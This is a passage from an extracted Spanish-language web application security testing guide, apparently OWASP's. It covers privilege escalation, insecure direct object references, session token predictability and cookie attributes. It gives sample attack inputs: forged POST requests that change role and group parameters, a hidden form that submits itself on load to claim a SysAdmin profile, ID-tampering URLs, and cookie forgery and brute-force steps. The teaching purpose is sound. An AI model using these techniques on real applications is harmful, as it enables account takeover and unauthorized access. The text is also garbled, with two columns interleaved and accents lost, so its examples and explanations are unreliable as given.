aplicacin. Esto es generalmente causado por un defecto en la aplicacin.
POST /admin/addUser.jsp HTTP/1.1 El resultado es que la aplicacin realiza las acciones con ms privilegios
que los que el desarrollador o administrador del sistema queran
Host: www.example.com adjudicar.
[other HTTP headers]
El grado de escalamiento depende de los privilegios que el atacante est

autorizado a poseer y que se pueden obtener en una explotacin exitosa.
userID=fakeuser&role=3&group=grp001 Por ejemplo, un error de programacin que permite a un usuario
privilegios extras despus de la autenticacin correcta limita el grado de
escalamiento, porque el usuario ya est autorizado a tener algo de
privilegios. Asimismo, un atacante remoto que obtiene privilegios de
superusuario sin ninguna autenticacin presenta un mayor grado de
escalamiento.

123
HTTP/1.1 200 OK
Generalmente, las personas se refieren al escalamiento vertical cuando es
posible tener acceso a recursos en cuentas ms privilegiadas (por
ejemplo, adquirir privilegios administrativos para la aplicacin) y en
Date: Wed, 1 Apr 2006 13:51:20 GMT
escalamiento horizontal cuando es posible acceder a los recursos de una
cuenta configurada de manera similar (por ejemplo, en una aplicacin de
Set-Cookie: USER=aW78ryrGrTWs4MnOd32Fs51yDqp; path=/;
banca en lnea, al acceder a la informacin relacionada con un usuario
domain=www.example.com
diferente).
Set-Cookie: SESSION=k+KmKeHXTgDi1J5fT7Zz; path=/; domain=
www.example.com
Cmo probar Cache-Control: no-cache
Pruebas de la manipulacin del rol/privilegio Pragma: No-cache
En cada porcin de la aplicacin donde un usuario puede crear Content-length: 247

informacin en la base de datos (por ejemplo, hacer un pago, agregar un
contacto o enviar un mensaje), puede recibir informacin (estado de Content-Type: text/html
cuenta, detalles de la orden, etc.), o eliminar la informacin (salida de
usuarios, mensajes, etc.), es necesario grabar dicha funcionalidad. El Expires: Thu, 01 Jan 1970 00:00:00 GMT
evaluador debe intentar acceder a tales funciones como otro usuario con
el fin de verificar si es posible acceder a una funcin que no se debe Connection: close
permitir por rol/privilegio del usuario (pero que podra admitirse como
otro usuario). <form name=autoriz method=POST action = visual.jsp>
<input type=hidden name=profile value=SysAdmin>
Por ejemplo: <body onload=document.forms.autoriz.submit()>
El siguiente POST de HTTP permite que el usuario que pertenece a

grp001 acceda a la orden #0001:
POST /admin/addUser.jsp HTTP/1.1 Qu pasa si el evaluador modifica el valor de la variable "profile" en

"SysAdmin"? Es posible llegar a ser administrador?
[other HTTP headers]
userID=fakeuser&role=3&group=grp001
Por ejemplo:
En un entorno donde el servidor enva un mensaje de error contenido

como un valor en un parmetro especfico en un conjunto de cdigos de
Verifique si un usuario que no pertenece a la grp001 puede modificar el respuesta, como el siguiente:
valor de los parmetros 'groupID' y 'orderID' para acceder a esa
informacin privilegiada.
Por ejemplo:
La siguiente respuesta del servidor muestra un campo oculto en el HTML

devuelto al usuario despus de una autenticacin correcta.

124
el valor de un parmetro para apuntar directamente a un objeto. Tales

@0`1`3`3``0ÙC`1`StatusÒK`SEC`5`1`0`ResultSet`0`PVValid`-1`0`0`
recursos pueden ser entradas de bases de datos que pertenecen a otros
usuarios, archivos en el sistema y ms. Esto es causado porque la
Notifications`0`0`3`Command Manager`0`0`0` StateToolsBar
aplicacin toma la informacin ingresada por el usuario y la utiliza para
recuperar un objeto sin realizar las comprobaciones de autorizacin
`0`0`0`
suficientes.
StateExecToolBar`0`0`0`FlagsToolBar`0
Cmo probar
Para probar esta vulnerabilidad, el evaluador debe, primero, crear el

mapa de todas las ubicaciones en la aplicacin donde se utiliza
El servidor le brinda una confianza implcita al usuario. Cree que el usuario informacin ingresada por el usuario para hacer referencia a objetos
responder con el mensaje anterior al cerrar la sesin
directamente. Por ejemplo, lugares donde se utiliza informacin
ingresada por el usuario para acceder a una fila de la base de datos, un
archivo, pginas de aplicacin y ms. A continuacin, el evaluador debe
modificar el valor del parmetro utilizado para referenciar los objetos y
En esta condicin, compruebe que no sea posible escalar privilegios mediante
evaluar si es posible recuperar objetos pertenecientes a otros usuarios o,
la modificacin de los valores de parmetros. En este ejemplo particular,
de lo contrario, omitir la autorizacin.
modificando el valor de 'PVValid' de '-1' a '0' (no hay condiciones de error), es
posible autenticarse como administrador al servidor.
La mejor manera de probar las referencias de objeto directo sera tener al

Referencias menos dos usuarios (a menudo ms) para cubrir las funciones y objetos
propios de cada uno. Por ejemplo, dos usuarios tienen acceso a diferentes
Libros Blancos objetos (informacin de compra, mensajes privados, etc.) y (si procede)
usuarios con distintos privilegios (usuarios de administrador) para ver si
Wikipedia - Privilege Escalation: hay referencias a la funcionalidad de la aplicacin. Por tener mltiples
http://en.wikipedia.org/wiki/Privilege_escalation usuarios, el evaluador ahorra tiempo de prueba en adivinar los nombres
de diferentes objetos ya que l puede intentar tener acceso a objetos que
pertenecen a otro usuario.
Tools
OWASP WebScarab: OWASP WebScarab Project A continuacin se muestran varios escenarios tpicos para esta
vulnerabilidad y los mtodos de prueba para cada uno:
El valor de un parmetro se utiliza directamente para recuperar un

Pruebas de las referencias de objetos directos inseguros (OTG-AUTHZ- registro de la base de datos
004)
Solicitud de muestra:
Resumen
Las Referencias de Objetos Directos Inseguros ocurren cuando una http://foo.bar/somepage?invoice=12345

aplicacin ofrece acceso directo a objetos basados en la informacin
suministrada por el usuario. Como resultado de esta vulnerabilidad, los
atacantes pueden omitir la autorizacin y acceder a recursos en el
sistema directamente, por ejemplo, registros de la base de datos o
archivos.
Las Referencias de Objetos Directos Inseguros permiten a los atacantes En este caso, el valor del parmetro de la factura se utiliza como un ndice
omitir la autorizacin y acceder a los recursos modificando directamente en una tabla de facturas en la base de datos. La aplicacin toma el valor de

125
este parmetro y lo utiliza en una consulta a la base de datos. La

aplicacin, entonces, devuelve la informacin de la factura al usuario. http://foo.bar/showImage?img=img00011
Puesto que el valor de la factura va directamente a la consulta,

modificando el valor del parmetro es posible recuperar cualquier objeto
de facturas sin importar el usuario al que pertenece la factura. En este caso, el valor del parmetro de archivo se utiliza para indicar a la
aplicacin qu archivo intenta recuperar el usuario. Proporcionando el
nombre o identificador de un archivo diferente (por ejemplo
file=image00012.jpg), el atacante podr recuperar objetos pertenecientes
Para probar este caso, el evaluador debe obtener el identificador de la
a otros usuarios.
factura que pertenece a un usuario de prueba diferente (asegurando que
no se supone que ve esta informacin por la lgica del negocio de la
aplicacin) y luego verificar si es posible acceder a los objetos sin
autorizacin. Para este caso, el evaluador debe obtener una referencia a la que el
usuario no debera poder acceder y tratar de entrar usando el valor de
parmetro del archivo. Nota: Esta vulnerabilidad se explota, a menudo, en
conjuncin con una vulnerabilidad de directorio/ruta de circulacin (ver
El valor de un parmetro se utiliza directamente para realizar una
pruebas para Ruta De circulacin)
operacin en el sistema
El valor de un parmetro se utiliza directamente para acceder a la
funcionalidad de la aplicacin
http://foo.bar/changepassword?user=someuser
solicitud de muestra
http://foo.bar/accessPage?menuitem=12
En este caso, se utiliza el valor del parmetro de usuario para decirle a la

aplicacin qu usuario debe cambiar la contrasea. En muchos casos, este
paso ser una parte de un asistente o una operacin multi-pasos. En el
primer paso, la aplicacin enviar una peticin que indica que el usuario
debe cambiar la contrasea y, en el siguiente paso, el usuario En este caso, el valor del parmetro menuitem se utiliza para indicar a la
proporcionar una nueva contrasea (sin pedir la contrasea actual). aplicacin qu objeto del men (y, por lo tanto, qu funcionalidad de la
aplicacin) est intentando acceder el usuario. Asuma que el usuario est
supuestamente restringido y, por lo tanto, tiene enlaces disponibles slo
para acceder al men 1, 2 y 3. Modificando el valor del parmetro
El parmetro de usuario se utiliza para hacer referencia directamente al
menuitem, es posible eludir la autorizacin y acceder a la funcionalidad
objeto del usuario para quien se realizar la operacin de cambio de
de la aplicacin adicional. Para este caso, el evaluador identifica un lugar
contrasea. Para probar este caso, el evaluador debe intentar
donde se determina la funcionalidad de la aplicacin por referencia a un
proporcionar un nombre de usuario de prueba diferente al que est
elemento de men, crea un mapa de los valores de los elementos del
registrado y comprobar si es posible modificar la contrasea de otro
men a los que el usuario de prueba tiene acceso y luego intenta acceder
usuario.
a otros elementos de men.
El valor de un parmetro se utiliza directamente para recuperar un

En los ejemplos anteriores, la modificacin de un solo parmetro es
archivo de recursos del sistema:
suficiente. Sin embargo, a veces la referencia de objeto se puede dividir
entre ms de un parmetro, y la prueba debe ajustarse en consecuencia.
Referencias

126
OWASP Top 10 2013-A4-Insecure Direct Object References atacante que es capaz de predecir y falsificar una cookie dbil, fcilmente
puede secuestrar las sesiones de usuarios legtimos.
Pruebas de la gestin de sesin

Las cookies se utilizan para implementar la gestin de la sesin y se
Uno de los componentes bsicos de cualquier aplicacin basada en la web describen en detalle en el RFC 2965. En resumen, cuando un usuario
es el mecanismo que controla y mantiene el estado de un usuario para accede a una aplicacin que necesita hacer seguimiento de las acciones y
interactuar con l. Esto se refiere a aquello como gestin de sesiones y se la identidad de ese usuario a travs de mltiples peticiones, una cookie (o
define como el conjunto de todos los controles que rigen el estado cookies) son generadas por el servidor y enviadas al cliente. El cliente
completo de interaccin entre un usuario y la aplicacin basada en la enviar la cookie al servidor en todas las conexiones siguientes hasta que
web. Esto cubre ampliamente cualquier cosa, desde cmo se realiza la esta expire o se destruya. Los datos almacenados en la cookie pueden
autenticacin del usuario, a lo que sucede al salir del sistema. proporcionar al servidor un gran abanico de informacin sobre quin es
el usuario, qu acciones ha realizado hasta ahora, cules son sus
preferencias, etc.; por lo tanto, le da un estado a un protocolo sin estado
como es HTTP.
HTTP es un protocolo sin estado, lo que significa que los servidores web
responden a solicitudes de clientes sin vincularlos entre s. Incluso la
lgica de la aplicacin ms simple requiere que mltiples solicitudes de
un usuario se asocien entre s dentro de una "sesin". Esto requiere Un ejemplo tpico es proporcionado por un carrito de compras en lnea.
soluciones de terceros a travs de cualquier middleware estndar y Durante toda la sesin de un usuario, la aplicacin debe hacer un
soluciones de servidor web sacadas de la percha (Off The Shelf)(OTS), o seguimiento de su identidad, su perfil, los productos que ha elegido para
con una implementacin de un desarrollador hecha a la medida. Los ms comprar, la cantidad, los precios individuales, descuentos, etc.. Las
populares entornos de aplicaciones web, como ASP y PHP, proporcionan cookies son una manera eficiente de almacenar y transmitir esta
a los desarrolladores rutinas de sesin incorporada. Algn tipo de ficha informacin una y otra vez (otros mtodos son parmetros de URL y
de identificacin normalmente se emitir, y se denominar "Identificador campos ocultos).
de sesin" o Cookie.
Debido a la importancia de los datos que almacenan, las cookies son

Hay numerosas maneras en que una aplicacin web puede interactuar vitales para la seguridad general de la aplicacin. Poder manipular las
con un usuario. Cada una depende de la naturaleza de los requerimientos cookies puede resultar en un secuestro de las sesiones de usuarios
del sitio, la seguridad y la disponibilidad de la aplicacin. Mientras hayan legtimos, obtener mayores privilegios en una sesin activa y, en general,
aceptado las mejores prcticas para desarrollo de aplicaciones, tales influir en las operaciones de la aplicacin de una manera no autorizada.
como las descritas en la gua de OWASP Construyendo Aplicacines Web
Seguras, es importante que se considere la seguridad de las aplicaciones
en el contexto de las necesidades y expectativas del proveedor.
En esta prueba, el evaluador podr comprobar si las cookies emitidas a los
clientes pueden resistirse a una amplia gama de ataques dirigidos a
interferir con las sesiones de usuarios legtimos y con la propia
Pruebas del esquema de gestin de sesin (OTG-SESS-001) aplicacin. El objetivo general es ser capaces de falsificar una cookie que
sea considerada vlida por la aplicacin y que proporcione algn tipo de
Resumen acceso no autorizado (secuestro de sesin, escalada de privilegios,...).
Para evitar la autenticacin continua para cada pgina de un sitio web o

servicio, las aplicaciones web implementan diversos mecanismos para
almacenar y validar las credenciales durante un intervalo de tiempo Generalmente, los pasos principales del patrn de ataque son los
determinado. Estos mecanismos se conocen como manejo de sesiones y siguientes:
aunque son importantes para aumentar la facilidad del uso de la
aplicacin y amigables con el usuario, pueden ser aprovechados por un
evaluador de penetracin para obtener acceso a una cuenta de usuario,
sin necesidad de proporcionar las credenciales correctas. Recoleccin de cookies: recolectar un nmero suficiente de muestras de cookies.
Ingeniera inversa de cookies: anlisis del algoritmo de generacin de cookies.
En esta prueba, el evaluador debe comprobar que las cookies y otras

fichas de sesin se crean de una manera segura e impredecible. Un

127
Manipulacin de cookies: falsificar una cookie vlida para llevar a cabo el ataque. Navegue por la aplicacin. Note cundo se crean las cookies. Haga una
Este ltimo paso podra requerir un gran nmero de intentos, dependiendo de cmo lista de las cookies recibidas, la pgina que las establece (con la directiva
la cookie haya sido creada (ataque de fuerza bruta de cookie). set-cookie), el dominio para el cual son vlidas, su valor y sus
caractersticas.
Otro patrn de ataque consiste en desbordar una cookie. Estrictamente

hablando, este ataque tiene una naturaleza diferente, ya que aqu los u partes de la aplicacin generan o modifican la cookie?
evaluadores no intentan recrear una cookie perfectamente vlida. En
cambio, el objetivo es desbordar un rea de memoria, interfiriendo as
con el comportamiento correcto de la aplicacin y posiblemente
inyectando (y ejecutando remotamente) un cdigo malicioso. Navegando por la aplicacin, encuentre qu cookies se mantienen
constantes y cules se han modificado.
Cmo probar
Qu eventos modificaron la cookie?
Prueba de Caja Negra y ejemplos
Toda interaccin entre el cliente y la aplicacin debe ser probada, al

menos contra los siguientes criterios: u partes de la aplicacin requiere esta cookie para ser accesible y
utilizarla?
Estn todas las directivas Set-Cookie etiquetadas como seguras?

Averigue qu partes de la aplicacin necesitan una cookie. Acceda a una
Cualquier operacin de cookie se lleva a cabo en un transporte no encriptado? pgina, intntelo de nuevo sin la cookie, o con un valor modificado de ella.
Trate de crear un mapa para las cookies que se utilizan.
Puede la cookie ser forzada en un transporte no encriptado?
Si es as, cmo mantiene la aplicacin la seguridad?

Una hoja de clculo que marca cada cookie a las partes correspondientes
Hay cookies persistentes? de la aplicacin y la informacin relacionada puede ser una informacion
valiosa obtenida de esta fase.
u tiempos para la caducidad se utilizan en las cookies persistentes y son estos
razonables?.
Son las cookies que se esperan sean transitorias configuradas como tal? Anlisis de la sesin
u ajustes HTTP/1.1 Cache-Control se utilizan para proteger las cookies? Las fichas (tokens) de sesin (cookies, ID de la sesin o campo oculto)
deben ser examinadas para asegurar su calidad desde una perspectiva de
u ajustes HTTP/1.0 Cache-Control se utilizan para proteger las cookies? seguridad. Deben ser evaluadas segn criterios como su aleatoriedad,
singularidad, resistencia al anlisis estadstico y criptogrfico y fuga de
informacin.
Coleccin de cookies
El primer paso requerido para manipular una cookie es entender cmo la Estructura de los indicadores y fuga de informacin
aplicacin crea y gestiona las cookies. Para esta tarea, los evaluadores
tienen que intentar contestar las siguientes preguntas: La primera etapa es examinar la estructura y el contenido de un
Identificador de Sesin proporcionada por la aplicacin. Un error comn
es incluir datos especficos en el indicador, en lugar de emitir un valor
genrico y hacer referencia a datos reales en el lado del servidor.
Cuntas cookies son utilizadas por la aplicacin?
Si la identidad de sesin es texto visible, la estructura y los datos

pertinentes pueden ser inmediatamente evidentes, como a continuacin:

128
Si se identifican elementos estticos en las fichas, ms muestras deben

http://foo.bar/showImage?img=img00011 recogerse, variando un elemento de entrada potencial a la vez. Por
ejemplo, intentos de registro a travs de una cuenta de usuario diferente
o desde una direccin IP diferente pueden producir una variacin en la
parte anteriormente esttica de la ficha de la sesin.
Si parte de o toda la ficha parece estar en cdigo o hash, se debe comparar

con distintas tcnicas para verificar la ofuscacin obvia. Por ejemplo, la Las siguientes reas deberan ser analizadas durante la prueba de
cadena "192.168.100.1:owaspuser:password:15:58" est representada en estructura de una o varias Identificadores de sesin:
Hexadecimal, Base64 y con un hash MD5:
Hex 3139322E3136382E3130302E313A6F77617370757 u partes del identificador de sesin son estticas?
365723A70617373776F72643A31353A3538 u informacin confidencial en texto claro se almacena en el

identificador de sesin? Por ejemplo, nombres de usuario/UID, direcciones IP.
Base64 MTkyLjE2OC4xMDAuMTpvd2FzcHVzZXI6c
ue informacin confidencial fcilmente decodificable se almacena?
GFzc3dvcmQ6MTU6NTg=
u informacin puede deducirse de la estructura del identificador de
MD5 01c2fc4f0a817afd8366689bd29dd40a sesin?
u partes del identificador de sesin son estticas para las mismas

condiciones de registro?
Una vez identificado el tipo de ofuscacin, es posible descifrar los datos u patrones obvios estn presentes en el identificador de sesin como un
originales. En la mayora de los casos, sin embargo, esto es improbable. todo o en porciones individuales?
De todas formas, puede ser til enumerar la codificacin en el sitio desde
el formato del mensaje. Adems, si se deduce la tcnica del formato y de
la ofuscacin, podran realizarse ataques de fuerza bruta automatizados.
Previsibilidad y aleatoriedad del identificador de sesin
El anlisis de las zonas variables (si las hay) del identificador de sesin
Las fichas hibridas pueden incluir informacin como direccin IP o ID de deberan realizarse para establecer la existencia de cualquier patrn
usuario junto con una porcin codificada, como los siguientes: reconocible o predecible. Estos anlisis pueden ser realizados
manualmente y con herramientas diseadas a la medida u OTS
estadsticas o de criptoanlisis para deducir cualquier patrn en el
owaspuser:192.168.100.1: contenido del identificador de sesin. Los controles manuales deberan
incluir comparaciones del identificador de sesin emitidas con las
a7656fafe94dae72b1e1487670148412 mismas condiciones del inicio de sesin; por ejemplo, el mismo nombre
de usuario, contrasea y direccin IP.
El tiempo es un factor importante que tambin debe ser controlado. Un

Tras haber analizado una ficha de sesin individual, debe examinarse la alto nmero de conexiones simultneas deben realizarse con el fin de
muestra representativa. Un anlisis simple de las fichas debe revelar recoger las muestras en la misma ventana de tiempo y mantener esa
inmediatamente cualquier patrn obvio. Por ejemplo, un token de 32 bits variable constante. Incluso una cuantizacin de 50ms o menor puede ser
puede incluir un token de 16 bits de datos estticos y uno de 16 bits de demasiado amplia, y una muestra tomada de esta manera puede revelar
datos variables. Esto puede indicar que los primeros 16 bits representan componentes basados en el tiempo que de otra manera se pasaran por
un atributo fijo del usuario por ejemplo, el nombre de usuario o alto.
direccin IP. Si el segundo campo de 16 bits se incrementa a un ritmo
regular, esto puede indicar un elemento secuencial o incluso basado en el
tiempo a la generacin de la ficha. Vea ejemplos.
Los elementos variables deben ser analizados en el tiempo para
determinar si son incrementales por naturaleza. Donde son
incrementales, los patrones en relacin al tiempo transcurrido, sea
129
absoluto o relativo, deben ser investigados. Muchos sistemas utilizan al sesin). Para hacer una cookie impredecible, pueden utilizarse valores
tiempo como una semilla para sus elementos seudoaleatorios. aleatorios o criptografa.
Donde los patrones son aparentemente al azar, hashes unidireccionales

de tiempo u otras variaciones ambientales deben considerarse como una
posibilidad. Tpicamente, el resultado de un hash criptogrfico es un [2] Resistencia a la manipulacin: una cookie debe resistir los intentos
nmero decimal o hexadecimal, as que, debe ser identificable. maliciosos de modificacin. Si el evaluador recibe una cookie como
IsAdmin = No, es trivial modificarla para obtener derechos
administrativos, a menos que la aplicacin realice una doble revisin (por
ejemplo, agregando a la cookie un hash cifrado de su valor).
En el anlisis de secuencias del identificador de sesin, patrones o ciclos,
elementos estticos y las dependencias del cliente, todo debe
considerarse como posibles elementos que aporten a la estructura y
funcin de la aplicacin. [3] Vencimiento: una cookie crtica debe ser vlida slo para un perodo
de tiempo adecuado y debe ser eliminada del disco o memoria para evitar
el riesgo de ser reproducida. Esto no aplica a las cookies que almacenan
los datos no crticos que necesitan ser recordados a travs de sesiones
Son los identificadores de sesin probadamente al azar en su (por ejemplo, el sitio look-and-feel).
naturaleza? Se pueden reproducir los valores resultantes?
Las mismas condiciones de entrada producen el mismo ID en una

ejecucin posterior? [4] Marcador "seguro": una cookie cuyo valor es crtico para la integridad
de la sesin debe tener esta opcin habilitada para permitir su
Son los identificadores de sesin probadamente resistentes a las transmisin en un canal cifrado y as impedir su obtencin por
estadsticas o el criptoanlisis? casualidad.
Qu elementos de los identificadores de sesin estn vinculados al

tiempo?
El enfoque aqu es recoger un nmero suficiente de instancias de una
Qu porciones de los identificadores de sesin son predecibles? cookie y empezar a buscar patrones en su valor. El significado exacto de
"suficiente" puede variar de un puado de muestras si el mtodo de
Puede deducirse el siguiente ID, dado el conocimiento pleno del generacin de galletas es muy fcil de romper, a varios miles si el
algoritmo de generacin y ID anteriores? evaluador debe realizar algunos anlisis matemticos (por ejemplo,
atractores chi-square. Vea ms adelante para mayor informacin).
Ingeniera inversa de Cookies

Es importante prestar especial atencin al flujo de trabajo de la
Ahora que el evaluador ha enumerado las cookies y tiene una idea general aplicacin, cmo el estado de una sesin puede tener un impacto pesado
de su uso, es el momento de echar un vistazo ms profundo a las cookies en cookies recogidas. Una cookie recogida antes de ser autenticada puede
que parecen interesantes. Qu cookies interesan al evaluador? Una ser muy diferente de una cookie obtenida despus de la autenticacin.
cookie, con el fin de proporcionar un mtodo seguro de administracin de
sesiones, debe combinar varias caractersticas, que tienen como objetivo
proteger la cookie de una clase diferente de ataques.
Otro aspecto a tener en cuenta es el tiempo. Siempre anote el tiempo
exacto cuando se ha obtenido una cookie, cuando existe la posibilidad de
que el tiempo juegue un papel en el valor de la misma (el servidor podra
Estas caractersticas se resumen a continuacin: utilizar un sello de tiempo como parte del valor de la cookie).
[1] Imprevisibilidad: una cookie debe contener cierta cantidad de datos El tiempo registrado podra ser la hora local o la marca de tiempo del
dificiles de adivinar. Mientras ms difcil sea falsificar una cookie vlida, servidor incluido en la respuesta HTTP (o ambos).
ms difcil ser entrar en la sesin de un usuario legtimo. Si un atacante
puede adivinar la cookie utilizada en una sesin activa de un usuario
legtimo, podrn suplantar totalmente a ese usuario (secuestro de

130
Al analizar los valores recogidos, el evaluador debe intentar averiguar

todas las variables que podran influir en el valor de la cookie e intentar 0123456789abcdef
cambiarlos uno a la vez. Ver las nuevas versiones de la misma cookie
modificadas por el servidor puede ser muy til para entender cmo la
aplicacin lee y procesa la cookie.
Ejemplos de controles que pueden realizarse en esta etapa incluyen:

Ataques de fuerza bruta
Los ataques de fuerza bruta inevitablemente nacen de las preguntas

Qu caracteres se utilizan en la cookie? Tiene la cookie un valor relativas a la predictibilidad y aleatoriedad.
numrico?, alfanumrico?, hexadecimal? Qu sucede si el evaluador
inserta en una cookie caracteres que no pertenecen o no se esperan en el
conjunto?
La varianza dentro de los identificadores de sesin debe ser considerada
Est la cookie compuesta de diferentes subpartes que llevan diferentes junto con la duracin y tiempos de espera de la sesin de la aplicacin. Si
piezas de informacin? Cmo se separan las diferentes partes?, con que la variacin dentro de los identificadores de sesin es relativamente
delimitadores? Algunas partes de la cookie podran tener una variacin pequea, y la validez del identificador de sesin es larga, la probabilidad
mayor, otras pueden ser constantes, otras podran suponer slo un de un ataque de fuerza bruta exitoso es mucho mayor.
conjunto limitado de valores. Romper las cookies a sus componentes base
es el primer paso y el ms fundamental de todos.
Un identificador de sesin largo (o ms bien uno con una gran cantidad

de varianza) y un perodo de validez ms corto, haria mucho ms difcil
Un ejemplo de una cookie estructurada fcil de ubicar es el siguiente: tener xito en un ataque de fuerza bruta.
ID=5a0acfc7ffeb919:CR=1:TM=1120514521:LM=11205145
Cunto tiempo tomara un ataque de fuerza bruta en todos los posibles
21:S=j3am5KzC4v01ba3q identificadores de sesin?
Es el espacio del identificador de sesin lo suficientemente grande para

evitar un ataque de fuerza bruta? Por ejemplo, la longitud de la clave es
suficiente en comparacin con el tiempo de vida til?
Este ejemplo muestra cinco campos diferentes, que llevan diferentes El retraso entre los intentos de conexin con diferentes identificadores de
tipos de informacin: sesin mitigan el riesgo de este ataque?
ID hexadecimal
CR entero pequeo
Si el evaluador tiene acceso al esquema de gestin de sesin de la
TM y LM entero grande ( y curiosamente tienen el mismo valor. aplicacin, puede comprobar lo siguiente:
Vale la pena ver lo que ocurre al modificar uno de ellos).
S alfanumrico
Sesin con una ficha al azar
El identificador de sesin o cookie emitido al cliente no debe ser

fcilmente predecible (no utilice algoritmos lineales basados en variables
predecibles como la direccin IP del cliente). Se recomienda el uso de
Incluso cuando no se utilizan caracteres delimitadores, tener suficientes algoritmos criptogrficos con longitud de clave de 256 bits (como AES).
muestras puede ayudar. Como ejemplo, echemos un vistazo a la serie
siguiente:

131
Longitud de la ficha Correlation Coefficient: mathworld.wolfram.com
El identificador de sesin debe tener una longitud de al menos 50 Darrin Barrall: Automated Cookie Analysis: rmccurdy.com
caracteres.
ENT: fourmilab.ch
seclists.org
Duracin de la sesin
Gunter Ollmann: Web Based Session Management - technicalinfo.net
La ficha de sesin debe tener una duracin definida (que depende de la
criticidad de los datos de la aplicacin administrada). Matteo Meucci:MMS Spoofing: owasp.org
Configuracin de cookies: Videos
non-persistent: solo en memoria RAM Session Hijacking in Webgoat Lesson: yehg.net
secure (configure solo en canal HTTPS):
Set Cookie: cookie=data; path=/; domain=.aaa.it; secure Actividades de seguridad relacionadas
HTTPOnly (no legible mediante un script): Descripcin de las vulnerabilidades en la gestin de sesin
Set Cookie: cookie=data; path=/; domain=.aaa.it; HTTPOnly Vea los artculos sobre vulnerabilidades en la gestin de la sesin OWASP.
Mas informacin aqu: Probando los atributos de las cookies Descripcin de las defensas de la gestin de sesin
Vea los artculos sobre las defensas de la gestin de sesin de OWASP.
Herramientas
OWASP Zed Attack Proxy Project (ZAP): owasp.org - features a session Cmo evitar las vulnerabilidades de la gestin de sesin
token analysis mechanism.
Vea los artculos sobre cmo evitar las vulnerabilidades de la gestin de
Burp Sequencer: portswigger.net sesin de OWASP.
Foundstone CookieDigger: mcafee.com
YEHGs JHijack: owasp.org Cmo revisar el cdigo en busca de vulnerabilidades en la gestin de sesin
Vea los artculos sobre cmo revisar el cdigo en busca de

vulnerabilidades en la gestin de sesin OWASP.
Referencias
Libros Blancos
Pruebas de los atributos de las cookies (OTG-SESS-002)
RFC 2965 HTTP State Management Mechanism
Resumen
RFC 1750 Randomness Recommendations for Security
Las cookies son a menudo un vector de ataque clave para usuarios
Michal Zalewski: Strange Attractors and TCP/IP Sequence Number maliciosos (normalmente dirigidas hacia otros usuarios) y la aplicacin
Analysis (2001): lcamtuf.coredump.cx siempre debe tomar las debidas diligencias para proteger las cookies. Esta
seccin examina cmo una aplicacin puede tomar las precauciones
Michal Zalewski: Strange Attractors and TCP/IP Sequence Number necesarias al asignar las cookies y cmo se prueba que estos atributos se
Analysis - One Year Later (2002): lcamtuf.coredump.cx han configurado correctamente.

132
comprar y sus datos auxiliares (es decir, precio y cantidad) en el tipo de

aplicacin de tienda en lnea.
La importancia del uso seguro de las cookies no puede estar subestimada,
especialmente en aplicaciones web dinmicas, que necesitan mantener el
estado a travs de un protocolo sin estado como HTTP. Para entender la
importancia de las cookies, es imprescindible entender para qu se usan Una vez que el evaluador tiene una comprensin de cmo se establecen
principalmente. Dentro de las funciones primarias se encuentran, las cookies, cundo se configuran, para qu se utilizan, por qu se utilizan
generalmente, las de ser utilizadas como una autorizacin de sesin y y su importancia, debera echar un vistazo a qu atributos se pueden
ficha de autenticacin o como un contenedor de datos temporales. As, si establecer en una cookie y cmo comprobar si son seguras. La siguiente
un atacante pudiera adquirir una ficha de sesin (por ejemplo, mediante es una lista de los atributos que se pueden establecer para cada cookie y
la explotacin de una vulnerabilidad en un script de sitios cruzados o por lo que significan. La siguiente seccin se centrar en cmo probar para
olfatear una sesin no encriptada), entonces podra utilizar esta cookie cada atributo.
para secuestrar una sesin vlida.
Segura - este atributo indica al navegador que slo enve la cookie si la

Adems, las cookies se establecen para mantener el estado entre varias solicitud se remite mediante un canal seguro como HTTPS. Esto ayudar a
solicitudes. Dado que HTTP no tiene estado, el servidor no puede proteger el envio de la cookie por solicitudes no encriptadas. Si se puede acceder
determinar si una solicitud que recibe es parte de una sesin actual o el a la aplicacin a travs de HTTP y HTTPS, entonces existe la posibilidad de que
comienzo de una nueva sesin sin ningn tipo de identificador. Este la cookie pueda mandarse en texto limpio.
identificador es muy comnmente una cookie, aunque tambin son
posibles otros mtodos. Hay muchos tipos diferentes de aplicaciones que HttpOnly - este atributo se utiliza para ayudar a prevenir ataques como cross-
necesitan hacer un seguimiento del estado de la sesin a travs de site scripting, ya que no permite que puedan acceder a la cookie a travs de un
mltiples solicitudes. La primera que viene a la mente es una tienda script del lado del cliente como JavaScript. Tenga en cuenta que no todos los
online. navegadores admiten esta funcionalidad.
Dominio - este atributo se utiliza para comparar contra el dominio del servidor
en el que se solicita la direccin URL. Si el dominio coincide o si es un
Mientras un usuario aade varios elementos a un carro de compras, estos subdominio, entonces el atributo de ruta de acceso se comprobar a
datos deben conservarse en las solicitudes posteriores a la aplicacin. Las continuacin.
cookies son muy utilizadas para esta tarea y son configuradas por la
aplicacin utilizando la directiva Set-Cookie en la respuesta HTTP de la
aplicacin y est generalmente en un formato name=value (si las cookies
Note que slo los hosts dentro del dominio especificado pueden
se encuentran activadas y si son compatibles, como es el caso para todos
establecer una cookie para ese dominio. Tambin note que el atributo del
los navegadores modernos). Una vez que una aplicacin le ha dicho al
dominio no puede ser un dominio de nivel superior (como .gov o .com)
navegador que utilice una cookie determinada, el navegador enviar esta
para evitar que los servidores configuren arbitrariamente cookies para
cookie en cada solicitud subsiguiente. Una cookie puede contener datos
otro dominio. Si no se establece el atributo de dominio, el nombre del
tales como los elementos de un carro de compras en lnea, el precio de
servidor host que genera la cookie se utiliza como el valor por defecto del
estos artculos, la cantidad de estos artculos, informacin personal,
dominio.
identificador de usuarios, etc.
Por ejemplo, si se configura una cookie mediante una aplicacin en

Debido a la naturaleza sensible de la informacin dentro de las cookies,
app.mydomain.com sin ningn conjunto de atributos de dominio, la
normalmente son codificadas o encriptadas en un intento de proteger la
cookie ser reenviada, para todas las solicitudes posteriores de
informacin que contienen. A menudo, mltiples cookies pueden ser
app.mydomain.com y sus subdominios (por ejemplo,
configuradas (separadas por un punto y coma) para las solicitudes
hacker.app.mydomain.com), pero no a otherapp.mydomain.com. Si un
subsiguientes. Por ejemplo, en el caso de una tienda online, una nueva
desarrollador desea liberar esta restriccin, entonces puede establecer el
cookie podra establecerse al momento que el usuario agrega varios
atributo de dominio a midominio.com. En este caso la cookie sera
elementos al carro de compras.
enviada a todas las peticiones de app.mydomain.com y sus subdominios,
como hacker.app.mydomain.com e incluso bank.mydomain.com.
Adems, normalmente habr una cookie de autenticacin (ficha de sesin

como se indica arriba) una vez que el usuario se conecta y mltiples otras
Si hubiera un servidor vulnerable en un subdominio (por ejemplo,
